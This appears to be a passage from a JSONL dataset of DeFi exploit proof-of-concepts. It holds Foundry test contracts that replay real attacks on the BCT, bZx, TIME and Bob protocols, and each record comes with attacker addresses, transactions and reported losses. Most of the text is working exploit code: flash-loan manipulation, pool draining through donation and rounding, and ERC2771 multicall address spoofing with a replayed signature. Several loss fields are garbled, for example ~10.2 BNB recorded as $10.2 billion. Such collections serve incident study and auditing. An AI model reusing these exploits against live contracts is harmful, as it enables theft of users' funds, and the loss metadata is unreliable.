router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.00015 ether}(\n 1_000_000_000_000_000, path, address(this), 99_999_999_999_999_999_999_999_999\n );\n IERC20(bct).transfer(first, 1_000_000_000_000_000);\n IInviter(first).f_0x4e515153(bct, address(this), 500_000_000_000_000);\n uint256 i = 0;\n while (i < 5) {\n uint256 k = 4;\n if (i < k) {\n address current_tool = tools[i];\n address next_tool = tools[i + 1];\n router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.00015 ether}(\n 1_000_000_000_000_000, path, current_tool, 99_999_999_999_999_999_999_999_999\n );\n IInviter(current_tool).f_0x4e515153(bct, next_tool, 1_000_000_000_000_000);\n IInviter(next_tool).f_0x4e515153(bct, current_tool, 500_000_000_000_000);\n }\n i++;\n }\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n // address inviter = 0xe9616ff20ad519Bce0e3D61353a37232F0c27A50; // the attacker contract\n address inviter = address(this);\n uint256 index = 0;\n address[] memory inviters = new address[](5);\n while (index < 5) {\n address inviter_ = IBCT(bct).inviter(inviter);\n inviters[index] = inviter_;\n inviter = inviter_;\n index++;\n\n uint256 amount = IERC20(bct).balanceOf(inviter_);\n }\n index = 0;\n while (index < 5) {\n (uint112 reserve0, uint112 reserve1, uint32 timestamp) = IPancakePair(pancakepair).getReserves();\n\n uint256 buyAmount = calculateValue(reserve1, reserve0, 60e18);\n\n Wbnb.transfer(inviters[index], buyAmount);\n // vm.prank(address(this), 0x9c66B0c68c144Ffe33E7084FE8cE36EBC44aD21e);\n IInviter(inviters[index]).buy(wbnb, pancakepair, buyAmount);\n index++;\n }\n\n index = 0;\n while (index < 10) {\n uint256 balance = Wbnb.balanceOf(address(this));\n (uint112 reserve0, uint112 reserve1, uint32 timestamp) = IPancakePair(pancakepair).getReserves();\n uint256 amount = calculate(reserve1, reserve0, balance);\n\n Wbnb.transfer(pancakepair, balance);\n IPancakePair(pancakepair).swap(amount, 0, cake_lp, \"\");\n IPancakePair(cake_lp).skim(address(this));\n\n while (true) {\n uint256 bct_balance = IERC20(bct).balanceOf(address(this));\n if (bct_balance > 1e18) {\n IERC20(bct).transfer(cake_lp, bct_balance);\n IPancakePair(cake_lp).skim(address(this));\n } else {\n process(30e18, inviters);\n index++;\n break;\n }\n }\n }\n\n process(0, inviters);\n Wbnb.transfer(address(PancakePair), 20_050_000_000_000_000_001);\n }\n\n function process(uint256 inamount, address[] memory inviters) internal {\n uint256 index = 0;\n while (index < 5) {\n address bct_inviter = inviters[index];\n uint256 balance_inviter = IERC20(bct).balanceOf(bct_inviter);\n address addr1 = 0x70ca72BB4A1386439a2a51476f2335A31005EBe8;\n address addr2 = 0x5A25B8576B14699bbb15947111f5811E58B39A82;\n uint256 amount = balance_inviter - inamount;\n\n IInviter(bct_inviter).f_0xf986351d(addr1, addr2, amount);\n index++;\n }\n\n uint256 busd_balance = IERC20(busd).balanceOf(address(this));\n (uint112 reserve0, uint112 reserve1, uint32 timestamp) = cakeLP.getReserves();\n IERC20(busd).transfer(cake_lp, busd_balance);\n uint256 swap_amount = calculate(reserve0, reserve1, busd_balance);\n cakeLP.swap(0, swap_amount, pancakepair, \"\");\n\n (uint112 r0, uint112 r1, uint32 t) = IPancakePair(pancakepair).getReserves();\n uint256 swap_amount2 = calculate(r0, r1, swap_amount * 85 / 100);\n IPancakePair(pancakepair).swap(0, swap_amount2, address(this), \"\");\n }\n\n function calculateValue(uint112 reserve1, uint112 reserve0, uint256 amount) private pure returns (uint256) {\n uint256 v13 = uint256(reserve1) * amount;\n uint256 v14 = 10_000 * v13;\n uint256 v15 = uint256(reserve0) - amount;\n uint256 v16 = 9975 * v15;\n return 1 + (v14 / v16);\n }\n\n function calculate(uint112 varg0, uint112 varg1, uint256 varg2) private pure returns (uint256) {\n uint256 v0 = 9975 * varg2;\n uint256 v1 = v0 * varg1;\n uint256 v2 = 10_000 * varg0;\n uint256 v3 = v2 + v0;\n return v1 / v3;\n }\n\n receive() external payable {}\n}\n\ncontract Tool {\n address _call;\n\n constructor() {\n _call = tx.origin; // hacker's EOA (foundry account)\n }\n\n function buy(address _srcAddr, address _destAddr, uint256 _destAmount) public {\n require(tx.origin == _call);\n IERC20(_srcAddr).transfer(_destAddr, _destAmount);\n IPancakePair(_destAddr).swap(60e18, 0, address(this), \"\");\n }\n\n // dedaub-like solidity\n function f_0xf986351d(address varg0, address varg1, uint256 varg2) public {\n require(tx.origin == _call);\n (uint112 v1, uint112 v2, uint32 v3) = IPancakePair(varg1).getReserves();\n uint256 v4 = 85 * varg2;\n uint256 v5 = 9975 * v4 / 100;\n uint256 v6 = v5 * v1;\n uint256 v7 = 10_000 * v2;\n\n IERC20(varg0).transfer(varg1, varg2);\n IPancakePair(varg1).swap(v6 / (v5 + v7), 0, msg.sender, \"\");\n }\n\n function f_0x4e515153(address varg0, address varg1, uint256 varg2) public {\n require(tx.origin == _call);\n IERC20(varg0).transfer(varg1, varg2);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "BCT", "date": "2023-12", "file_name": "BCT_exp.sol", "attack_vector": null, "content_hash": "71d7daf523c81a34", "collected_at": "2026-01-07T10:59:16.530128", "_source": "postmortems", "chain": "bsc", "block_number": 34204710, "total_lost_raw": "~10.2BNB", "total_lost_usd": 10200000000.0, "attacker_address": "https://bscscan.com/address/0x9c66b0c68c144ffe33e7084fe8ce36ebc44ad21e", "attack_contract": "https://bscscan.com/address/0xe9616ff20ad519bce0e3d61353a37232f0c27a50", "vulnerable_contract": "https://bscscan.com/address/0x88b3eb62e363d9f153beab49c5c2ef2e785a375a", "attack_tx": "https://bscscan.com/tx/0xdae0b85e01670e6b6b317657a72fb560fc388664cf8bfdd9e1b0ae88e0679103", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~10.2BNB", "category": "unknown", "exploit_code": "function testExploit() public {\n uint256 before = Wbnb.balanceOf(address(this));\n init(); // simulate the first tx for preparation\n // attack begin\n PancakePair.swap(20_000_000_000_000_000_000, 0, address(this), abi.encode(\"0x20\"));\n emit log_named_decimal_uint(\n \"[End] After repay, Profit: BNB balance of attacker\", Wbnb.balanceOf(address(this)) - before, 18\n );\n }\n\n // simulate the preparation of the attack, tx: https://bscscan.com/tx/0xd4c19d575ea5b3a415cc288ce09942299ca3a3b49ef9718cda17e4033dd4c250\n // function 0xe531876d of the attacker contract", "has_exploit_code": true, "keyinfo_total_lost": "~10.2BNB", "keyinfo_attacker": "https://bscscan.com/address/0x9c66b0c68c144ffe33e7084fe8ce36ebc44ad21e", "keyinfo_attack_contract": "https://bscscan.com/address/0xe9616ff20ad519bce0e3d61353a37232f0c27a50", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x88b3eb62e363d9f153beab49c5c2ef2e785a375a", "keyinfo_attack_tx": "https://bscscan.com/tx/0xdae0b85e01670e6b6b317657a72fb560fc388664cf8bfdd9e1b0ae88e0679103", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$10200.00M", "content_richness_score": 9, "quality_estimate": "high", "title": "BCT Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$208K\n// Attacker : https://etherscan.io/address/0x5a7c7eb8d13a53d42a15d2b1d1b694ccc5141ea5\n// Attack Contract : https://etherscan.io/address/0x03b7bb750a974e0bd34795013f66b669f4110e54\n// Vulnerable Contract : https://etherscan.io/address/0x7f3fe9d492a9a60aebb06d82cba23c6f32cad10b\n// Attack Tx 1 : https://app.blocksec.com/explorer/tx/eth/0x0fc5c0d41e5506fdb9434fab4815a4ff671afc834e47a533b3bed7182ece73b0\n// Attack Tx 2 : https://app.blocksec.com/explorer/tx/eth/0xb072f2e88058c147d8ff643694b43a42e36525b7173ce1daf76e6c06170b0e77\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x7f3fe9d492a9a60aebb06d82cba23c6f32cad10b#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy : https://x.com/MetaSec_xyz/status/1730811240942088263\n// Hacking God :\n\ninterface IToken is IERC20 {\n struct LoanOpenData {\n bytes32 loanId;\n uint256 principal;\n uint256 collateral;\n }\n\n function borrow(\n bytes32 loanId,\n uint256 withdrawAmount,\n uint256 initialLoanDuration,\n uint256 collateralTokenSent,\n address collateralTokenAddress,\n address borrower,\n address receiver,\n bytes memory\n ) external payable returns (LoanOpenData memory);\n\n function burn(address receiver, uint256 burnAmount) external returns (uint256 loanAmountPaid);\n\n function mint(address receiver, uint256 depositAmount) external returns (uint256);\n}\n\ninterface IbZx {\n function withdrawCollateral(\n bytes32 loanId,\n address receiver,\n uint256 withdrawAmount\n ) external returns (uint256 actualWithdrawAmount);\n}\n\ncontract ContractTest is Test {\n uint256 private constant blocknumToForkFrom = 18_695_728;\n Uni_Pair_V2 private constant YFI_WETH = Uni_Pair_V2(0x088ee5007C98a9677165D78dD2109AE4a3D04d0C);\n // Underlying asset\n IERC20 private constant YFI = IERC20(0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e);\n // iToken lending pool\n IToken private constant iYFI = IToken(0x7F3Fe9D492A9a60aEBb06d82cBa23c6F32CAd10b);\n IToken private constant iETH = IToken(0xB983E01458529665007fF7E0CDdeCDB74B967Eb6);\n IToken private constant iWBTC = IToken(0x2ffa85f655752fB2aCB210287c60b9ef335f5b6E);\n IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n IbZx private constant bzX = IbZx(0xD8Ee69652E4e4838f2531732a46d1f7F584F0b7f);\n Uni_Router_V2 private constant SushiRouter = Uni_Router_V2(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);\n Uni_Router_V2 private constant UniRouter = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n address private constant originalAttackContract = 0x03b7Bb750A974e0BD34795013F66B669f4110e54;\n uint256 private constant iYFIQuantity = 5;\n\n // Borrow function args\n bytes32 private constant borrowLoanId = bytes32(0);\n uint256 private constant initialLoanDuration = 0;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n vm.label(address(YFI_WETH), \"YFI_WETH\");\n vm.label(address(YFI), \"YFI\");\n vm.label(address(iYFI), \"iYFI\");\n vm.label(address(iETH), \"iETH\");\n vm.label(address(iWBTC), \"iWBTC\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(bzX), \"bzX\");\n vm.label(address(SushiRouter), \"SushiRouter\");\n vm.label(address(UniRouter), \"UniRouter\");\n }\n\n function testExploit() public {\n // In this POC I demonstrate first attack tx\n deal(address(this), 0);\n emit log_named_decimal_uint(\"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), 18);\n uint256 yfiFlashAmount = YFI.balanceOf(address(YFI_WETH)) / 10;\n // If the data.length is > 0 then pair contract recognizes flashswap instead of typical swap\n bytes memory data = abi.encodePacked(uint8(48));\n YFI_WETH.swap(yfiFlashAmount, 0, address(this), data);\n\n emit log_named_decimal_uint(\"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), 18);\n }\n\n function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n YFI.approve(address(iYFI), type(uint256).max);\n // Referring to the tx, attack contract shares were burned before deposit/mint operation\n vm.prank(originalAttackContract);\n iYFI.burn(originalAttackContract, iYFIQuantity);\n\n // At this point iYFI pool is empty\n emit log_named_uint(\"Total underlying assets in the pool before deposit/mint\", YFI.balanceOf(address(iYFI)));\n emit log_named_uint(\"Total shares before deposit/mint\", iYFI.totalSupply());\n\n // Deposit 5 wei YFI and mint 5 wei iYFI\n iYFI.mint(address(this), iYFIQuantity);\n\n emit log_named_uint(\"Total underlying assets in the pool after deposit/mint\", YFI.balanceOf(address(iYFI)));\n emit log_named_uint(\"Total shares after deposit/mint\", iYFI.totalSupply());\n emit log_named_uint(\"Exploiter shares\", iYFI.balanceOf(address(this)));\n\n // Add 5 wei YFI to this contract (these 5 wei YFI exploiter obtained when his shares were burned before)\n // I do this because I want to stick strictly to the values presented in attack tx\n deal(address(YFI), address(this), YFI.balanceOf(address(this)) + iYFIQuantity);\n // Donate all YFI tokens to increase iYFI (shares that exploiter owns) value\n YFI.transfer(address(iYFI), YFI.balanceOf(address(this)));\n\n // Borrow/steal all ETH from iETH pool\n stealETH();\n // Borrow/steal all WBTC from iWBTC pool\n stealWBTC();\n // Exploiter successfully retrieved his collateral (shares) after borrowing/stealing tokens\n // This is due to rounding issue in bZx contract\n uint256 iYFIAmount = iYFI.balanceOf(address(this));\n // Burn iYFI (5) and retrieve underlying YFI (19363816309062560436)\n uint256 loanAmountPaid = iYFI.burn(address(this), iYFIAmount);\n\n // Repay flashloan\n uint256 amountOut = (((amount0 * 1000) + 1) / 997) - amount0;\n WETHToYFI(amountOut);\n YFI.transfer(address(YFI_WETH), YFI.balanceOf(address(this)));\n }\n\n receive() external payable {}\n\n function borrowToken(IToken iToken, uint256 withdrawAmount) private returns (bytes32 loanId) {\n IToken.LoanOpenData memory loanData = iToken.borrow(\n borrowLoanId,\n withdrawAmount,\n initialLoanDuration,\n iYFIQuantity,\n address(iYFI),\n address(this),\n address(this),\n \"\"\n );\n loanId = loanData.loanId;\n }\n\n function withdrawCollateral(\n bytes32 loanID\n ) private {\n bzX.withdrawCollateral(loanID, address(this), iYFIQuantity);\n }\n\n function WBTCToWETH() private {\n address[] memory path = new address[](2);\n path[0] = address(WBTC);\n path[1] = address(WETH);\n SushiRouter.swapExactTokensForTokens(\n WBTC.balanceOf(address(this)), 0, path, address(this), block.timestamp + 100\n );\n }\n\n function WETHToYFI(\n uint256 amount\n ) private {\n WETH.approve(address(UniRouter), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(YFI);\n UniRouter.swapTokensForExactTokens(\n amount, WETH.balanceOf(address(this)), path, address(this), block.timestamp + 100\n );\n }\n\n function stealETH() private {\n iYFI.approve(address(iETH), type(uint256).max);\n bytes32 loanId = borrowToken(iETH, WETH.balanceOf(address(iETH)));\n WETH.deposit{value: address(this).balance}();\n withdrawCollateral(loanId);\n }\n\n function stealWBTC() private {\n iYFI.approve(address(iWBTC), type(uint256).max);\n WBTC.approve(address(SushiRouter), type(uint256).max);\n bytes32 loanId = borrowToken(iWBTC, WBTC.balanceOf(address(iWBTC)));\n WBTCToWETH();\n withdrawCollateral(loanId);\n }\n}\n", "type": "exploit_poc", "protocol": "bZx", "date": "2023-12", "file_name": "bZx_exp.sol", "attack_vector": "flash_loan", "content_hash": "2e9fee8a892fb79b", "collected_at": "2026-01-07T10:59:16.530209", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "~$208K", "total_lost_usd": 208000.0, "attacker_address": "https://etherscan.io/address/0x5a7c7eb8d13a53d42a15d2b1d1b694ccc5141ea5", "attack_contract": "https://etherscan.io/address/0x03b7bb750a974e0bd34795013f66b669f4110e54", "vulnerable_contract": "https://etherscan.io/address/0x7f3fe9d492a9a60aebb06d82cba23c6f32cad10b", "attack_tx": null, "postmortem_url": null, "twitter_url": "https://x.com/MetaSec_xyz/status/1730811240942088263", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~$208K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n // In this POC I demonstrate first attack tx\n deal(address(this), 0);\n emit log_named_decimal_uint(\"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), 18);\n uint256 yfiFlashAmount = YFI.balanceOf(address(YFI_WETH)) / 10;\n // If the data.length is > 0 then pair contract recognizes flashswap instead of typical swap\n bytes memory data = abi.encodePacked(uint8(48));\n YFI_WETH.swap(yfiFlashAmount, 0, address(this), data);\n\n emit log_named_decimal_uint(\"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$208K", "keyinfo_attacker": "https://etherscan.io/address/0x5a7c7eb8d13a53d42a15d2b1d1b694ccc5141ea5", "keyinfo_attack_contract": "https://etherscan.io/address/0x03b7bb750a974e0bd34795013f66b669f4110e54", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x7f3fe9d492a9a60aebb06d82cba23c6f32cad10b", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "https://x.com/MetaSec_xyz/status/1730811240942088263", "funds_lost_formatted": "$208.0K", "content_richness_score": 9, "quality_estimate": "high", "title": "bZx Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~84.59 ETH\n// Attacker : https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a\n// Attack Contract : https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0\n// Vulnerable Contract : https://etherscan.io/address/0x4b0e9a7da8bab813efae92a6651019b8bd6c0a29\n// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xecdd111a60debfadc6533de30fb7f55dc5ceed01dfadd30e4a7ebdb416d2f6b6\n\n// @Analysis\n// https://blog.openzeppelin.com/arbitrary-address-spoofing-vulnerability-erc2771context-multicall-public-disclosure\n\ninterface IForwarder {\n struct ForwardRequest {\n address from;\n address to;\n uint256 value;\n uint256 gas;\n uint256 nonce;\n bytes data;\n }\n\n function execute(ForwardRequest memory req, bytes memory signature) external payable returns (bool, bytes memory);\n}\n\ninterface ITIME is IERC20 {\n function burn(\n uint256 amount\n ) external;\n\n function multicall(\n bytes[] memory data\n ) external returns (bytes[] memory results);\n}\n\ncontract ContractTest is Test {\n ITIME private constant TIME = ITIME(0x4b0E9a7dA8bAb813EfAE92A6651019B8bd6c0a29);\n IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n Uni_Pair_V2 private constant TIME_WETH = Uni_Pair_V2(0x760dc1E043D99394A10605B2FA08F123D60faF84);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n IForwarder private constant Forwarder = IForwarder(0xc82BbE41f2cF04e3a8efA18F7032BDD7f6d98a81);\n address private constant recoverAddr = 0xa16A5F37774309710711a8B4E83b068306b21724;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_730_462);\n vm.label(address(TIME), \"TIME\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(TIME_WETH), \"TIME_WETH\");\n vm.label(address(Router), \"Router\");\n vm.label(address(Forwarder), \"Forwarder\");\n vm.label(recoverAddr, \"recoverAddr\");\n }\n\n function testExploit() public {\n deal(address(this), 5 ether);\n emit log_named_decimal_uint(\"Exploiter ETH balance before attack\", address(this).balance, 18);\n TIME.approve(address(Router), type(uint256).max);\n WETH.approve(address(Router), type(uint256).max);\n WETH.deposit{value: 5 ether}();\n WETHToTIME();\n\n uint256 amountToBurn = 62_227_259_510 * 1e18;\n bytes[] memory datas = new bytes[](1);\n datas[0] = abi.encodePacked(TIME.burn.selector, amountToBurn, address(TIME_WETH));\n bytes memory data = abi.encodeWithSelector(TIME.multicall.selector, datas);\n\n IForwarder.ForwardRequest memory request =\n IForwarder.ForwardRequest({from: recoverAddr, to: address(TIME), value: 0, gas: 5e6, nonce: 0, data: data});\n\n // Using signature from attack tx\n bytes32 messageHash = 0x2038560f9bee81aecd0fa852fae43c9e2a4db94c609c3b91dba5ac0f01b4d5c6;\n bytes32 r = 0x9194983a3dbfb5779c09c95f5d830d8435d9ce88b383752c3dfb8a1b84b8c9f5;\n bytes32 s = 0x11b7c750f1334e2f26ca9be32c2d070a4a023edf745b02468d6cba9a15a494c6;\n uint8 v = 27;\n assertEq(ecrecover(messageHash, v, r, s), recoverAddr);\n bytes memory signature = abi.encodePacked(r, s, v);\n\n // Start exploit here\n Forwarder.execute(request, signature);\n // End exploit\n TIME_WETH.sync();\n TIMEToWETH();\n WETH.withdraw(WETH.balanceOf(address(this)));\n\n // In the end of attack tx also ~5 ether was transferred to Flashbot\n emit log_named_decimal_uint(\"Exploiter ETH balance after attack\", address(this).balance, 18);\n }\n\n function WETHToTIME() internal {\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(TIME);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WETH.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000\n );\n }\n\n function TIMEToWETH() internal {\n address[] memory path = new address[](2);\n path[0] = address(TIME);\n path[1] = address(WETH);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n TIME.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000\n );\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "TIME", "date": "2023-12", "file_name": "TIME_exp.sol", "attack_vector": null, "content_hash": "0dae8f6658c623d7", "collected_at": "2026-01-07T10:59:16.530282", "_source": "postmortems", "chain": "ethereum", "block_number": 18730462, "total_lost_raw": "~84.59 ETH", "total_lost_usd": 84.59, "attacker_address": "https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a", "attack_contract": "https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0", "vulnerable_contract": "https://etherscan.io/address/0x4b0e9a7da8bab813efae92a6651019b8bd6c0a29", "attack_tx": "https://explorer.phalcon.xyz/tx/eth/0xecdd111a60debfadc6533de30fb7f55dc5ceed01dfadd30e4a7ebdb416d2f6b6", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~84.59 ETH", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(address(this), 5 ether);\n emit log_named_decimal_uint(\"Exploiter ETH balance before attack\", address(this).balance, 18);\n TIME.approve(address(Router), type(uint256).max);\n WETH.approve(address(Router), type(uint256).max);\n WETH.deposit{value: 5 ether}();\n WETHToTIME();\n\n uint256 amountToBurn = 62_227_259_510 * 1e18;\n bytes[] memory datas = new bytes[](1);\n datas[0] = abi.encodePacked(TIME.burn.selector, amountToBurn, address(TIME_WETH));\n bytes memory data = abi.encodeWithSelector(TIME.multicall.selector, datas);\n\n IForwarder.ForwardRequest memory request =\n IForwarder.ForwardRequest({from: recoverAddr, to: address(TIME), value: 0, gas: 5e6, nonce: 0, data: data});\n\n // Using signature from attack tx\n bytes32 messageHash = 0x2038560f9bee81aecd0fa852fae43c9e2a4db94c609c3b91dba5ac0f01b4d5c6;\n bytes32 r = 0x9194983a3dbfb5779c09c95f5d830d8435d9ce88b383752c3dfb8a1b84b8c9f5;\n bytes32 s = 0x11b7c750f1334e2f26ca9be32c2d070a4a023edf745b02468d6cba9a15a494c6;\n uint8 v = 27;\n assertEq(ecrecover(messageHash, v, r, s), recoverAddr);\n bytes memory signature = abi.encodePacked(r, s, v);\n\n // Start exploit here\n Forwarder.execute(request, signature);\n // End exploit\n TIME_WETH.sync();\n TIMEToWETH();\n WETH.withdraw(WETH.balanceOf(address(this)));\n\n // In the end of attack tx also ~5 ether was transferred to Flashbot\n emit log_named_decimal_uint(\"Exploiter ETH balance after attack\", address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~84.59 ETH", "keyinfo_attacker": "https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a", "keyinfo_attack_contract": "https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x4b0e9a7da8bab813efae92a6651019b8bd6c0a29", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/eth/0xecdd111a60debfadc6533de30fb7f55dc5ceed01dfadd30e4a7ebdb416d2f6b6", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$85", "content_richness_score": 8.26, "quality_estimate": "high", "title": "TIME Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : ~3BNB\n// Attacker : https://bscscan.com/address/0xcb733f075ae67a83a9c5f38a0864596e338a0106\n// Attack Contract : https://bscscan.com/address/0x0fe1983b8972630c866fe77ad873a66ec598b685\n// Vulnerable Contract : https://bscscan.com/address/0x10ed43c718714eb63d5aa57b78b54704e256024e\n// Attack Tx : https://bscscan.com/tx/0xfb14292a531411f852993e5a3ba4e7eb63ed548220267b9b3f4aacc5572d3a58\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x10ed43c718714eb63d5aa57b78b54704e256024e#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy :\n// Hacking God :\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract Bob is BaseTestWithBalanceLog {\n IERC20 HackDao = IERC20(0x94e06c77b02Ade8341489Ab9A23451F68c13eC1C);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Uni_Pair_V2 Pair1 = Uni_Pair_V2(0xcd4CDAa8e96ad88D82EABDdAe6b9857c010f4Ef2); // HackDao WBNB\n Uni_Pair_V2 Pair2 = Uni_Pair_V2(0xbdB426A2FC2584c2D43dba5A7aB11763DFAe0225); //HackDao USDT\n address router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n Uni_Router_V2 Router = Uni_Router_V2(router);\n address dodo = 0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d;\n\n IERC20 Bob = IERC20(0x700eE24c350739e323Dcf6A50Ae3E7A3329C86aE);\n\n Uni_Pair_V2 cakeLP = Uni_Pair_V2(0x7CafdAaa0ba0F471c800DBaca94bDB943311939d);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 34_428_628 - 1);\n }\n\n function testExploit() public {\n // WBNB.approve(address(Router), type(uint256).max);\n // HackDao.approve(address(Router), type(uint256).max);\n DVM(dodo).flashLoan(100 * 1e18, 0, address(this), \"0x00\");\n\n emit log_named_decimal_uint(\"[End] Attacker BNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public {\n WBNB.approve(address(Router), type(uint256).max);\n Bob.approve(address(Router), type(uint256).max);\n cakeLP.approve(address(Router), type(uint256).max);\n\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(Bob);\n\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 20_000_000_000_000, 0, path, address(this), block.timestamp\n );\n\n (uint112 reserve0, uint112 reserve1, uint32 timestamp) = cakeLP.getReserves();\n uint256 bob_balance = Bob.balanceOf(address(this));\n uint256 amount_b = Router.quote(bob_balance, reserve0, reserve1);\n WBNB.transfer(address(cakeLP), amount_b);\n Bob.transfer(address(cakeLP), bob_balance);\n cakeLP.mint(address(this));\n\n int256 index = 0;\n while (index < 9) {\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n\n Bob.transfer(address(cakeLP), Bob.balanceOf(address(this)));\n cakeLP.skim(address(cakeLP));\n (uint112 reserve0, uint112 reserve1, uint32 timestamp) = cakeLP.getReserves();\n uint256 bob_balance = Bob.balanceOf(address(cakeLP));\n uint256 amountOut = Router.getAmountOut(96 * bob_balance / 100, reserve0, reserve1);\n cakeLP.swap(0, amountOut, address(this), abi.encode(\"0x00\"));\n\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(Bob);\n\n Router.swapTokensForExactTokens(\n 90 * bob_balance / 100, WBNB.balanceOf(address(this)), path, router, block.timestamp\n );\n Router.removeLiquidityETHSupportingFeeOnTransferTokens(\n address(Bob), 1_000_000_000_000_000_000, 1, 1, address(this), block.timestamp\n );\n\n address[] memory path_reverse = new address[](2);\n path_reverse[0] = address(Bob);\n path_reverse[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n Bob.balanceOf(address(this)), 0, path_reverse, address(this), block.timestamp\n );\n index++;\n }\n\n WBNB.transfer(dodo, 100 * 1e18);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n return;\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Bob", "date": "2023-12", "file_name": "Bob_exp.sol", "attack_vector": "flash_loan", "content_hash": "cdfd2cfc70451690", "collected_at": "2026-01-07T10:59:16.530331", "_source": "postmortems", "chain": "bsc", "block_number": 34428628, "total_lost_raw": "~3BNB", "total_lost_usd": 3000000000.0, "attacker_address": "https://bscscan.com/address/0xcb733f075ae67a83a9c5f38a0864596e338a0106", "attack_contract": "https://bscscan.com/address/0x0fe1983b8972630c866fe77ad873a66ec598b685", "vulnerable_contract": "https://bscscan.com/address/0x10ed43c718714eb63d5aa57b78b54704e256024e", "attack_tx": 